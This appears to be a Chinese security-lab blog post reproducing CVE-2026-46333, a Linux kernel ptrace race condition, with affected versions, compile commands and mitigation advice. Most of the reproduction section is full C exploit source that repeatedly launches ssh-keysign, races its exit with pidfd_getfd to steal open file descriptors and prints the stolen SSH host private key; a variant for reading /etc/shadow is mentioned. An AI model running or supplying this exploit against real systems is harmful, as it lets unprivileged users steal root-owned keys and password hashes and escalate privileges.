当前位置:首页>Linux>【成功复现】Linux内核ptrace本地权限提升漏洞(CVE-2026-46333)

【成功复现】Linux内核ptrace本地权限提升漏洞(CVE-2026-46333)

  • 2026-10-11 07:32:42
【成功复现】Linux内核ptrace本地权限提升漏洞(CVE-2026-46333)

网安引领时代,弥天点亮未来  

0x00写在前面

      本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

0x01漏洞介绍

Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。

Linux kernel存在安全漏洞,该漏洞源于ptrace的get_dumpable逻辑处理不当,可能导致权限检查问题。CVE-2026-46333漏洞也成为"ssh-keysign-pwn"。

Linux内核__ptrace_may_access()函数存在逻辑缺陷:当目标进程的task->mm指针为NULL时(即内核调用 exit_mm() 后),会完全跳过 dumpable安全检查。由于do_exit()的执行顺序是先清空mm指针再关闭文件描述符,攻击者可利用pidfd_getfd() 系统调用在mm=NULL但文件描述符仍存在的极短时间窗口内,窃取setuid程序打开的敏感文件描述符(如 /etc/shadow 或 SSH 私钥),从而以普通用户权限读取root拥有的任意文件,实现本地权限提升。

0x02影响版本
Linux kernel 4.14 ~ 6.12.x  
Linux kernel 6.13.x ~ 6.18.21   
Linux kernel 6.19.x ~ 6.19.11
0x03漏洞复现
1.连接环境

2.漏洞复现

上传漏洞利用exp,进行编译

gcc -O2 -Wall -o CVE-2026-46333 CVE-2026-46333.cgcc -O2 -Wall -o CVE-2026-46333-1 CVE-2026-46333-shadow.c

执行编译后的文件,成功获取ssh私钥

执行编译后的代码,获取shadow文件内容

漏洞利用c代码
/* * CVE-2026-46333 - ssh-keysign-pwn (and similar SUID tools) * Author : Ashraf Zaryouh / @0xBlackash * * Exploits race condition in process exit path (do_exit -> exit_mm before exit_files) * when mm == NULL, dumpability checks are bypassed, allowing pidfd_getfd to steal * open file descriptors from dying privileged processes. */#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<fcntl.h>#include<string.h>#include<errno.h>#include<sys/wait.h>#include<sys/syscall.h>#define MAX_ROUNDS      800#define MAX_FDS_SCAN    64#define MAX_TRIES       25000// Raw syscalls for older glibc#ifndef __NR_pidfd_open#define __NR_pidfd_open  434#endif#ifndef __NR_pidfd_getfd#define __NR_pidfd_getfd 438#endifstaticintpidfd_open(pid_t pid, unsigned flags){    return syscall(__NR_pidfd_open, pid, flags);}staticintpidfd_getfd(int pidfd, int target_fd, unsigned flags){    return syscall(__NR_pidfd_getfd, pidfd, target_fd, flags);}intmain(void){    printf("[+] CVE-2026-46333 PoC by 0xBlackash\n");    printf("[+] Target: Steal SSH host private keys via ssh-keysign\n\n");    const char *ssh_keysign_paths[] = {        "/usr/libexec/ssh-keysign",        "/usr/lib/openssh/ssh-keysign",        "/usr/lib/ssh/ssh-keysign",        "/usr/libexec/openssh/ssh-keysign",        NULL    };    const char *binary = NULL;    for (int i = 0; ssh_keysign_paths[i]; i++) {        if (access(ssh_keysign_paths[i], X_OK) == 0) {            binary = ssh_keysign_paths[i];            break;        }    }    if (!binary) {        fprintf(stderr, "[-] ssh-keysign not found. Install openssh-server.\n");        return 1;    }    printf("[+] Found ssh-keysign at: %s\n", binary);    printf("[+] Starting race attack...\n");    int success = 0;    for (int round = 0; round < MAX_ROUNDS && !success; round++) {        pid_t child = fork();        if (child == 0) {            // Child: silent execution of ssh-keysign            int nullfd = open("/dev/null", O_RDWR);            dup2(nullfd, 0);            dup2(nullfd, 1);            dup2(nullfd, 2);            close(nullfd);            execl(binary, "ssh-keysign", NULL);            _exit(127);        }        int pidfd = pidfd_open(child, 0);        if (pidfd < 0) {            waitpid(child, NULL, 0);            continue;        }        for (int attempt = 0; attempt < MAX_TRIES && !success; attempt++) {            for (int fd = 3; fd < MAX_FDS_SCAN; fd++) {                int stolen_fd = pidfd_getfd(pidfd, fd, 0);                if (stolen_fd < 0) continue;                // Check if this fd points to an SSH host key                char linkpath[128], realpath[512];                snprintf(linkpath, sizeof(linkpath), "/proc/self/fd/%d", stolen_fd);                ssize_t len = readlink(linkpath, realpath, sizeof(realpath) - 1);                if (len > 0) {                    realpath[len] = '\0';                    if (strstr(realpath, "ssh_host_") && strstr(realpath, "_key")) {                        printf("[+] SUCCESS! Stolen fd %d -> %s (round %d)\n", fd, realpath, round);                        // Read and dump the private key                        lseek(stolen_fd, 0, SEEK_SET);                        char buffer[8192];                        ssize_t n = read(stolen_fd, buffer, sizeof(buffer) - 1);                        if (n > 0) {                            buffer[n] = '\0';                            printf("\n=== SSH PRIVATE KEY ===\n%s\n", buffer);                        }                        close(stolen_fd);                        success = 1;                        break;                    }                }                close(stolen_fd);            }        }        close(pidfd);        waitpid(child, NULL, 0);        if ((round + 1) % 50 == 0) {            printf("[.] Still racing... (%d/%d)\n", round + 1, MAX_ROUNDS);        }    }    if (success) {        printf("[+] Exploit completed successfully.\n");    } else {        printf("[-] Failed after %d rounds. Try increasing MAX_ROUNDS.\n", MAX_ROUNDS);    }    return success ? 0 : 1;}
0x04修复建议

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

临时缓解方案

1.修改配置参数

kernel.yama.ptrace_scope=2

2.优先对核心业务服务器完成全量SSH密钥轮换
3.定期审计/etc/shadow等高敏感文件访问日志
4.实时监控服务器内异常ptrace、pidfd相关系统调用行为
5.严格收缩本地普通用户权限,该漏洞利用需本地访问权限

建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!   

https://www.kernel.org/ https://github.com/0xBlackash/CVE-2026-46333

弥天简介

学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。

口号 网安引领时代,弥天点亮未来

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,
予以风动,
必降弥天之润!

   弥  天

安全实验室

最新文章

随机文章